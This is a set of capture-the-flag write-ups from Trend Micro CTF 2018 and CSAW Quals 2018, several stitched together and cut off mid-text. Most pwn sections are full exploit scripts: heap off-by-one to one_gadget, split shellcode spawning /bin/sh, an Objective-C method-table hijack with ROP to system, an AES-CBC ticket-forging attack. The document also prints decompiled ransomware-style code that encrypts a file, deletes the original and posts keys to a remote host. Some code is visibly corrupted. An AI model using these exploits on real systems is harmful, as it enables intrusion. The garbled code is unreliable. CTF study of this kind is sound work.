def main(): pt = '010000010110111000100000011000010111000001110000011011000110010100100000011000010110111001100100001000000110000101101110001000000110111101110010011000010110111001100111011001010010000001110111011001010110111001110100001000000111010001101111001000000101010001110010011001010110111001100100' ct = '000100100011000101110101001101100110001100110001001110100011110101100000011110010010111000110011001110000000110100100101011111000011000000100001010000100110011100100001011000000111001101110100011011100110000000100000011011010110001001100100001011010110111001100110001010110110110101110001' flag = '000000110000111001011100001000000001100100101100000100100111111000001001000001100000001100001001000100100010011101001010011000010111100100100010010101110100010001000010010101010100010101111111010001000110000001101001011111110111100001100101011000010010001001001011011000100111001001101011' print(long_to_bytes(int(pt, 2))) pt1, pt2 = tuple(map(lambda x: int(x, 2), chunk(pt, len(ct) / 2))) ct1, ct2 = tuple(map(lambda x: int(x, 2), chunk(ct, len(ct) / 2))) f1, f2 = tuple(map(lambda x: int(x, 2), chunk(flag, len(ct) / 2))) for x in [pt1, pt2, pt1 ^ pt2]: for y in [ct1, ct2, ct1 ^ ct2]: for z in [f1, f2, f1 ^ f2]: result = long_to_bytes(x ^ y ^ z) if is_printable(result): print(result)
main()```
And we get the flag: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}` |
**Description**
> Construct additional pylons> > `nc pwn.chal.csaw.io 9004`> > Binary updated: 8:17 AM Sat> > Libc updated: 4:09 PM Sat
**Files provided**
- [`aliensVSsamurais`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/alien-invasion-aliensVSsamurais) - [`libc-2.23.so`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/alien-invasion-libc-2.23.so)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The sumurai part seems to be unexploitable, but there is a null byte off-by-one when we call `new_alien`
```cv0->name[(signed int)read(0, v0->name, size)] = 0; // off by onev1 = alien_index++;```
so we can use null byte poisoning to do it, however, we cannot write `__malloc_hook` or `__free_hook`, but there is a pointer in the alien structure, and we can show and edit it. Thus, we can use it to leak the stack address using `environ` in libc, and then write the return address of `hatchery` to `one_gadget` with the zero precondition.
The other parts seems to be not useful, although there are many problems in this binary. However, these problems are unexploitable or hard to exploit.
exp
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
if g_local: e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") sh = process('./aliensVSsamurais')#env={'LD_PRELOAD':'./libc.so.6'} ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 gdb.attach(sh)else: ONE_GADGET_OFF = 0x4526a UNSORTED_OFF = 0x3c4b78 sh = remote("pwn.chal.csaw.io", 9004) e = ELF("./libc.so.6") #ONE_GADGET_OFF = 0x4557a
def create(length, content): sh.send("1\n") sh.recvuntil("How long is my name?\n") sh.send(str(length) + "\n") sh.recvuntil("What is my name?\n") sh.send(content) sh.recvuntil("Brood mother, what tasks do we have today.\n")
def delete(idx): sh.send("2\n") sh.recvuntil("Which alien is unsatisfactory, brood mother?\n") sh.send(str(idx) + "\n") sh.recvuntil("Brood mother, what tasks do we have today.\n")
def editidx(idx, content = None): sh.send("3\n") sh.recvuntil("Brood mother, which one of my babies would you like to rename?\n") sh.send(str(idx) + "\n") sh.recvuntil("Oh great what would you like to rename ") ret = sh.recvuntil(" to?\n") ret = ret[:len(ret)-len(" to?\n")] if content: sh.send(content) else: sh.send(ret) sh.recvuntil("Brood mother, what tasks do we have today.\n") return ret
sh.recvuntil("Daimyo, nani o shitaidesu ka?\n")sh.send("1\n")sh.recvuntil("What is my weapon's name?\n")sh.send("1\n")sh.recvuntil("Daimyo, nani o shitaidesu ka?\n")sh.send("3\n")#use samurai to put malloc hook to 0
sh.recvuntil("Brood mother, what tasks do we have today.\n")create(0x10, "fastbin") #0create(0x10, "fastbin") #1delete(0)delete(1)#prepare some 0x20 fastbin
create(0x210, "a") #2create(0x100, "c") #3create(0x100, "padding") #4
delete(2)create(0x108, "a" * 0x108) #5#0x111 -> 0x100#0x20 fastbin *1
create(0x80, "b1") #6create(0x100 - 0x90 - 0x20 - 0x10, "b2b2b2b2b2b2b2b2") #7
delete(6)delete(3)#0x221 unsorted bin#0x20 *2
create(0xa0, "consume unsorted + leak") # 8libc_addr = u64(editidx(7) + "\x00\x00") - UNSORTED_OFFprint hex(libc_addr)delete(8)#recover to 0x221 unsorted bin#0x20 *2
create(0xa0, "A" * 0x88 + p64(0x21) + p64(libc_addr + e.symbols["environ"]) + p64(0xdeadbeef)) # 9stack_addr = u64(editidx(7) + "\x00\x00")print hex(stack_addr)delete(9)#leak = 0xe58
#0xd48 -> one_gadget 0x30create(0xa0, "A" * 0x88 + p64(0x21) + p64(stack_addr - 0xe58 + 0xd48) + p64(0xdeadbeef)) # 10editidx(7, p64(libc_addr + ONE_GADGET_OFF))delete(10)
#0xd80 -> 0create(0xa0, "A" * 0x88 + p64(0x21) + p64(stack_addr - 0xe58 + 0xd80) + p64(0xdeadbeef)) # 11editidx(7, p64(0))delete(11)
sh.interactive()``` |
mcgriddle (~40 solves)---
> All CTF players are squares
We are given a PCAP file containing a network chess game. A Class B private address is playing the black pieces against a Class A private address server, which opens Nf3.

The notable thing is that the player is sending SVGs after each one of its moves, titled with even numbers. These contained strange ASCII, so we extracted them with an amazing PCAP parser *cough* Bash:
`mkdir svgs; i=0; while read p; do echo $p > svgs/$i.svg; ((i+=2)); done < <(strings final.pcap | grep "<svg")`

101 8x8 grids of characters. Because they are not particularly useful in SVG format, we grabbed the text only:
`i=0; while read p; do echo -n "$i "; echo -n $p | sed -e 's/<[^>]*>//g' | tr -d ' '; ((i+=2)); echo; done < <(strings final.pcap | grep "<svg")`
Which is now clearly base64-encoded data. Our next improvement to the pipeline was to base64-decode the data alongside:
`i=0; while read p; do echo -n "$i "; echo -n $p | sed -e 's/<[^>]*>//g' | tr -d ' '; echo -n ' '; echo -n $p | sed -e 's/<[^>]*>//g' | tr -d ' ' | base64 -d; ((i=i+2)); echo; done < <(strings final.pcap | grep " |
* **Category:** pwn* **Points:** 100* **Description:**
> Linked lists are great! They let you chain pieces of data together.> > ```sh> nc pwn.chal.csaw.io 9005> ```>> [shellpointcode](https://ctf.csaw.io/files/32cc91e380dac838a4f2978dfd963fb3/shellpointcode)
## Writeup
For this challenge, we got an x86\_64 linux binary (not stripped, NX isdisabled) that asks us for 15 bytes of input for each of two nodes of a linkedlist.
The linked list struct looks like this:
```cstruct linked_list { struct linked_list * next; char data[15];};```
Both node instances lie on the stack, and the "next" pointer of the first pointsto the second.
Afterwards, it prints out the first node, revealing the stack address of thesecond node.
Then, the "goodbye" function asks for our initials and reads data in a far toosmall stack buffer (buffer overflow).
## The Attack
We can redirect program execution to the heap buffer in the second node byoverwriting the return pointer in the "goodbye" function.
We cannot directly insert off-the-shelf shellcode into the buffers because theyare too small, so we chopped pwntools' `shellcraft.sh()` shellcode in half andadded a relative jump to redirect into the other node.
This gets us a shell allowing us to see the flag:
```flag{NONONODE_YOU_WRECKED_BRO}```
## The Script
This is the cleaned up script used to extract the flag:
```pyfrom pwn import *
context.arch = "amd64"
r = remote("pwn.chal.csaw.io", 9005)
node2 = asm(""" /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax""") + b"\xeb\x11"
node1 = asm(""" /* call execve('rsp', 0, 0) */ push (SYS_execve) /* 0x3b */ pop rax mov rdi, rsp xor esi, esi /* 0 */ cdq /* rdx=0 */ syscall""")
r.readuntil(b"1: ")print(">> node1")r.sendline(node1)r.readuntil(b"2: ")print(">> node2")r.sendline(node2)r.readline()
r.readline()r.readuntil(b": ")addr = int(r.readline()[:-1], 16)r.readline()print(">> addr", hex(addr))
r.readline()r.readline()print(">> rop")r.sendline(b"A"*11 + p64(addr+8))r.readline()
r.sendline(b"cat flag.txt")print(r.readline().decode())``` |
* **Category:** pwn* **Points:** 250* **Description:**
> Looks like you found a bunch of turtles but their shells are nowhere to be> seen! Think you can make a shell for them?>> ```sh> nc pwn.chal.csaw.io 9003> ```>> [turtles](https://ctf.csaw.io/files/b3adfcc8a5cd4a1bf9a413c6f46fb212/turtles)> [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip)
## Writeup
We get an x86\_64 linux binary, and reading the main function immediately showus this is an Objective-C program (`objc_get_class` and `objc_msg_lookup`).
For those unfamiliar with Objective-C, it is mostly like C, but there is amechanism for Object-Oriented-Programming where methods on objects are calledusing the functions `objc_msg_send` and `objc_msg_lookup` (in the ABI, thesyntax for it looks like `[instance method: parameter]`).
A "message" is just a method call. Methods are identified by a "selector", whichis just the method name. At runtime these selectors are replaced with a 64-bitvalue consisting of two relatively low 32-bit integers concatenated together.
The problem with `objc_msg_send` and selectors is that it is quite hard to findcross-references when analyzing a binary. In this case the classes are quitesimple, so this is not a problem.
Reading the program code shows the code must have been something like this:
```objc#include <stdio.h>#include <unistd.h>#include <string.h>#include <Foundation/NSObject.h>#include <Foundation/NSString.h>
@interface Turtle: NSObject- (void) say: (NSString *) phrase;@end
@implementation Turtle: NSObject- (void) say: (NSString *) phrase{ NSLog(@"%@\n", phrase);}@end
int main(int argc, char ** argv) { char buf[0x810];
setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
Turtle * turtle = [[Turtle alloc] init]; printf("Here is a Turtle: %p\n", turtle);
read(STDIN_FILENO, buf, sizeof buf); memcpy(turtle, buf, 200);
[turtle say: @"I am a turtle."]; [turtle release];
return 0;}```
## The Vulnerability
The programm allocates a Turtle object on the heap, and then prints its address.
Afterwards, it allows us to write 200 arbitrary bytes into the heap location ofthe Turtle object. As all method calls in Objective-C are dynamic, this allowssomething similar to a C++ vtable exploit. For this to work we need to know howan Objective-C class is structured.
For this, we just observed which pointers and offsets the `objc_msg_lookup`function from `gnustep-base.so` dereferences, and where the function pointercomes from.
The attack will consist of redirecting all pointers in the structure into theheap area we control and know the address of, leading the program into returningan arbitrary function pointer.
## `objc_msg_lookup` Analysis
This function takes two parameters: the instance and the selector.
At offset 0x00 in our instance, a pointer to the class object is stored.At offset 0x40 in the class object, a pointer to a structure containing amulti-layered table of function pointers is stored. Let's call this structure(at offset 0x40) the "implementation table struct".
For indexing into that table, the two 32-bit parts of the runtime selector valueare used.
But first, some kind of length check is performed. The low selector value plusthe high selector value shifted left by five are added together and compared tothe value in the "implementation table struct" at offset 0x28. If the value isbigger than the one in the struct, the lookup function does something else thatdoes not usually happen, we assumed it fails.
The actual table is located at offset 0x00 in the "implementation table struct".It is indexed using first the low selector value, and then the high selectorvalue. The result is a function pointer that is returned.
Pseudocode:
```objc_msg_lookup(instance* inst, uint64* sel): uint64 selv = *sel class * cls = inst->class # offset 0x00
imp_tbl_struct * its = cls->its # offset 0x40 uint32 sel_low = selv & 0xffffffff uint32 sel_high = selv >> 32
if (sel_low + (sel_high << 5)) >= its->length: # offset 0x28 # ... irrelevant code else: return its->table[sel_low][sel_high] # offset 0x00```
## The Attack
For our attack payload, we put a pointer to our fabricated class struct furtherin the payload at offset 0x00, and then left a bit of space for a ROP chain anddata.
After that, we added another pointer, which through our crafted class pointerlies exactly at offset 0x40, meaning it is the pointer to the implementationtable struct.
We offset the implementation table struct in such a way, that it points directlyafter the pointer to it, so that in the payload, all the pointers lie next toeach other.
Since the observed selector value in the `gnustep-base` library from `libs.zip`was 0x0000001500000064, assuming the values are the same on the remote server,we can adjust the first table-level to point just after the previous pointer inthe payload, and similar for the second table level.
This leaves us with this payload:
```pymethod = 0x4141414141414141base_vtable = 0x90base_data = 0x80
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))```
## Getting a shell
Using the payload we constructed above, we can an adjust-gadget that pops a fewthings off the stack, in order to land inside our stack buffer.
We found a gadget that pops into irrelevant registers 4 times, landing exactlyafter our crafted class pointer in the stack buffer.
From that point, we have ROP, and can ROP to `printf` in order to leak a GOTentry and recover the libc base address. After that, we ROP back to main inorder to send a second ROP-chain and jump to libc's `system`
Stage 1 ROP-chain:
```pydata = b"%sEND"
rop.raw(rop_rdi)rop.raw(turtle + base_data)
rop.raw(rop_rsi_r15)rop.raw(setvbuf_got)rop.raw(0)
rop.raw(printf_plt)rop.raw(main_addr)```
Using that knowledge, we can now calculate the address of `system` in the libcand get a shell:
Stage 2 ROP-chain:
```pydata = b"/bin/sh" rop.raw(rop_rdi)rop.raw(turtle + base_data)rop.raw(libc.symbols[b"system"])```
With that, we can execute `cat flag` and get the flag:
```flag{i_like_turtl3$_do_u?}```
## The Script
This is the python script used to solve the challenge, after being cleaned up abit:
```pyfrom pwn import *
context.arch = "amd64"
r = remote("pwn.chal.csaw.io", 9003)
libc = ELF("libs-nopreload/libc.so.6")
r.readuntil(b": ")turtle = int(r.readline(), 16)print("turtle address: 0x{:016x}".format(turtle))
main_addr = 0x400B84class_turtle = 0x6014c0
rop_adjust4 = 0x00400d3crop_rdi = 0x00400d43rop_rsi_r15 = 0x00400d41
method = rop_adjust4
base_vtable = 0x90base_data = 0x80rop_chain = b"CCCCCCCC"
printf_plt = 0x4009D0setvbuf_got = 0x601288
rop = ROP([ELF("./turtles")])
rop.raw(rop_rdi)rop.raw(turtle + base_data)
rop.raw(rop_rsi_r15)rop.raw(setvbuf_got)rop.raw(0)
rop.raw(printf_plt)rop.raw(main_addr)
data = b"%sEND"
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))
r.send(payload.ljust(200, b'A'))
setvbuf_addr = u64(r.readuntil(b"END")[:-3].ljust(8, b"\0"))print("setvbuf address: 0x{:016x}".format(setvbuf_addr))
libc.address = setvbuf_addr - libc.symbols[b"setvbuf"]print("system address: 0x{:016x}".format(libc.symbols[b"system"]))
data = b"/bin/sh"
r.readuntil(b": ")turtle = int(r.readline(), 16)print("turtle address: 0x{:016x}".format(turtle))
method = rop_adjust4rop = ROP([ELF("./turtles")])
rop.raw(rop_rdi)rop.raw(turtle + base_data)rop.raw(libc.symbols[b"system"])rop.raw(0x4343434343434343)
payload = ( p64(turtle + base_vtable + 0x00 - 0x040) + # class
rop.chain().ljust(base_data - 8, b"\0") + data.ljust(base_vtable - base_data, b"\0") +
p64(turtle + base_vtable + 0x08 - 0x000) + # imp_table_struct p64(turtle + base_vtable + 0x10 - 0x64 * 8) + # tbl_level1 p64(turtle + base_vtable + 0x18 - 0x15 * 8) + # tbl_level2 p64(method))
r.send(payload.ljust(200, b'A'))
r.sendline(b"cat flag")print(r.readline().decode())``` |
In `CSAW Quals 2018 - shell_code` challenge, there is a simple `stack overflow` vulnerability that leads to code injection and eventually, execution of `/bin/sh`. The interesting part is that you cannot provide the whole shell code in one place; however, you need to break your shell code into 3 parts, feed each part to the program in a different place, and connect these 3 parts using jumps. |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc 